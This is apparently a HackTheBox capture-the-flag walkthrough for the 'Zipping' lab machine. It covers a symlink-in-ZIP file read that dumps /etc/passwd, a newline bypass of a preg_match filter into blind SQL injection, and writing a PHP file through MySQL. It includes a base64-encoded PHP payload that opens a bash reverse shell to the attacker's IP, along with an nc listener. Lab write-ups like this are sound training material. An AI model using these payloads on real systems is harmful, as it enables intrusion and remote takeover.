HackTheBox
September 27, 2023

Zipping [HTB] Walkthrough

Original machine image from HackTheBox.com

Zipping was my first Medium Level machine and It took longer than I expected, but finally I got it! Let's see how it was.

  1. Enumeration & Discovering
  2. Zip Vector
  3. Getting Reverse Shell
  4. Easy Root Hint

Enumeration & Discovering

First I added new line to /etc/hosts file
(In the case of Zipping, it wasn't necessary, but it's more convenient for me)

10.10.11.229 zipping.htb

Nmap Scanning

nmap -v -p1-65535 10.10.11.229

Nmap Result

Initiating Ping Scan at 12:20
Scanning 10.10.11.229 [2 ports]
Completed Ping Scan at 12:20, 0.07s elapsed (1 total hosts)
Initiating Connect Scan at 12:20
Scanning zipping.htb (10.10.11.229) [65535 ports]
Discovered open port 80/tcp on 10.10.11.229
Discovered open port 22/tcp on 10.10.11.229
Connect Scan Timing: About 38.29% done; ETC: 12:22 (0:00:50 remaining)
Completed Connect Scan at 12:22, 86.63s elapsed (65535 total ports)
Nmap scan report for zipping.htb (10.10.11.229)
Host is up (0.074s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 86.78 seconds

Okay, here I have 2 opened ports

http://zipping.htb

I searched everything on the site and came to the conclusion that the working pages here are: Shops and "Work with Us" button. Shops takes me to some kind of online store, and "Work with Us" button takes me to the .zip file upload page.

http://zipping.htb/upload.php

At this page we can upload .zip archive contains .pdf. I uploaded compressed to zip test.pdf file to see how it works.

http://zipping.htb/upload.php
http://zipping.htb/uploads/5c6ab718309da8bd31d180085c3be8bb/test.pdf

ZIP Vector

So every file is uploading and unpacking in folder that have a name as md5 hash. When I tried to upload a .zip with not a .pdf file inside I got an error, of course.

Here I have next vectors of attack:

  1. [forRCE] Bypass file extensions
  2. [forRCE] Decompress in different folders
  3. [forLFI] Symlinks in ZIP

Here I must say that most of published Zipping Walkthroughs are outdated for today and machine was updated, so any earlier working tricks with easy RCE are not working. I tried all I know and waste a much time for it.

I checked this 3 vectors for upload attack (extensions bypass, null bytes, evilarc tools, etc), but only "Symlinks in ZIP" are work. I can read some files using this LFI. For example: /etc/passwd

ln -s ../../../../../../etc/passwd passwd.pdf
zip --symlinks passwd.zip passwd.pdf
http://zipping.htb/upload.php
Base64 in Response of http://zipping.htb/uploads/cab07173733a89c4a80c01b032e370cd/passwd.pdf
echo "cm9vdDp4...BASE 64...ZmFsc2UK" | base64 --decode
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false

Getting Revere Shell

So, I have a working LFI to read some files but can't upload any payload to get RCE.
(By the way, looks like I can get user.txt flag but it's too easy...)

I remembered about "Shop" and tried to search anything there.

http://zipping.htb/shop/index.php

After some searching I created a list of links with potential possible attack vectors:

  1. [forLFI/RFI] [GET] http://zipping.htb/shop/index.php?page=products
  2. [forSQLinj] [GET] http://zipping.htb/shop/index.php?page=product&id=1
  3. [forSQLinj] [POST] http://zipping.htb/shop/index.php?page=cart

I tried to use sqlmap for test all "Shop" pages to SQL-Injection but unfortunately :(

What about LFI and parameter page - it's allow me to read only php files without extension, I can't bypass this restriction. RFI was unfortunately too.

I was stuck and asked for a little hint on HTB Forum from one of users and he said:

"Try and read the source code…"

Thanks Master, I'll try harder! (Really thanks, it's a good and useful answer!)

By the way, to that moment I downloaded all .php files of "Shop" and other site but I was inattentive and didn't notice some interesting code lines and comment in cart.php file:

<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
    // Set the post variables so we easily identify them, also make sure they are integer
    $product_id = $_POST['product_id'];
    $quantity = $_POST['quantity'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
        echo '';
    } else {
        // Construct the SQL statement with a vulnerable parameter
        $sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
        // Execute the SQL statement without any sanitization or parameter binding
        $product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if ($product && $quantity > 0) {
            // Product exists in database, now we can create/update the session variable for the cart
            if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
                if (array_key_exists($product_id, $_SESSION['cart'])) {
                    // Product exists in cart so just update the quanity
                    $_SESSION['cart'][$product_id] += $quantity;
                } else {
                    // Product is not in cart so add it
                    $_SESSION['cart'][$product_id] = $quantity;
                }
            } else {
                // There are no products in cart, this will add the first product to cart
                $_SESSION['cart'] = array($product_id => $quantity);
            }
        }
        // Prevent form resubmission...
        header('location: index.php?page=cart');
        exit;
    }
}

Now I must find a way to bypass this hard preg_match. I opened HackTricks and found this interesting trick.

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#preg_match

Okay, it's time to test this %0A method:

Burp Suite Repeater - POST Request to http://zipping.htb/shop/index.php?page=cart

Well, it didn't show me cart page and looks like I successfully bypass preg_match filter! Also looks like a SQL-injection here is Blind so I can't find any response data with error or something like that.

Here I remembered a code from functions.php file (it contains database name, user and password). All MySQL requests executing from root user of DB so I must have access to all functions, even file reading and writing. But unlikely I have permissions to write files at the /var/www/html/ directly, right? Right :(

Burp Suite Repeater - POST Request to http://zipping.htb/shop/index.php?page=cart
Burp Suite Repeater - GET Request to http://zipping.htb/shop/index.php?page=/var/www/html/t1

Google said that MySQL root user may have permissions to /var/lib/mysql/ directory. Need to check it.

Burp Suite Repeater - POST Request to http://zipping.htb/shop/index.php?page=cart
Burp Suite Repeater - GET Request to http://zipping.htb/shop/index.php?page=/var/lib/mysql/t1

Success! I can write files using SQL-Injection! Time to get a reverse sell 😏

nc -nvlp 4444

PHP reverse shell to 10.10.14.81:4444
(I tried many variants but this works without dropping connection)

<?php exec("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44MS80NDQ0IDA+JjE= | base64 -d | bash"); ?>

(Don't be like me, don't forget to escape + as %2b before sending request)

Here I encoded it to Base64 and used MySQL "from_base64" function. Finally it started stable reverse shell.

PD9waHAgZXhlYygiZWNobyBZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzh4TUM0eE1DNHhOQzQ0TVM4ME5EUTBJREErSmpFPSB8IGJhc2U2NCAtZCB8IGJhc2giKTsgPz4=
Burp Suite Repeater - POST Request to http://zipping.htb/shop/index.php?page=cart
Burp Suite Repeater - GET Request to http://zipping.htb/shop/index.php?page=/var/lib/mysql/t5
Reverse shell rektsu@zipping.htb

🥳 User flag is captured! 😚

Easy Root Hint

Just check kernel version and you will find a PoC to get a root. If necessary, make some changes to code lines 😉